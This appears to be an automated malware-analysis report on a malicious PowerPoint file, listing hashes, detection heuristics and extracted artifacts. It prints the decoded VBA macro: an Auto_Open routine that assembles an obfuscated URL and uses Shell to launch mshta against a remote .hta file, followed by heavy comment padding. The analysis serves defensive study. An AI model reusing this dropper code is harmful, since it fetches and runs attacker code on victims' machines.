Office (OOXML) malware analysis — malicious · 7de987daaae263b6

MALICIOUS

Office (OOXML)

97.9 KB First seen: 2021-04-01

MD5: 0f70dc3a52342a3f2c03e4ac38e0a1d2 SHA-1: 3b8cb379fac80eb5edda8e8039c0e96c452bfe9e SHA-256: 7de987daaae263b674e8e02beb1cde67df73d92a8a53d2d7c94f7e5c8e963837

128 Risk Score

Heuristics 4

VBA project inside OOXML medium 3 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    Shell (AaYyJa5)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	4237985 bytes
SHA-256: `87320cb8089ab689ce922552339cbff59260137604c316eefbdbc68f0dd0a2d7`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Módulo1" Sub Auto_Open() Dim AaYyJa As Variant Dim dsseERDY As String Dim AdYDJa As Integer AaYyJa = Array(116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 100, 105, 97, 109, 97, 110, 116, 101, 115, 118, 105, 97, 103, 101, 110, 115, 46, 99, 111, 109, 46, 98, 114, 47, 103, 101, 115, 116, 111, 114, 46) AaYyJa3 = "hta" dsseERDY = "" For AdYDJa = 0 To UBound(AaYyJa) If dsseERDY = "" Then dsseERDY = Chr(AaYyJa(AdYDJa)) Else dsseERDY = dsseERDY & Chr(AaYyJa(AdYDJa)) End If Next AaYyJa2 = dsseERDY AaYyJa1 = "hta"" ht" AaYyJa0 = """ms" AaYyJa5 = AaYyJa0 + AaYyJa1 + AaYyJa2 + AaYyJa3 Shell (AaYyJa5) End Sub '.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '.......................'.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '.................................................................................................................................................... '.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'....................................................................................................................................................'.................................................................................................................................................... '....................................................................................................................................................'....................................................................................................................................................'..................................... ... (truncated)
`vbaProject_00.bin`	vba-project	OOXML VBA project: ppt/vbaProject.bin	4808192 bytes
SHA-256: `3c1bf9c7303637bcc97aacde85085eeb6fb29fb63848ecde79e17e9102ca52ee`

Open this report in the interactive analyzer, or submit your own file for analysis.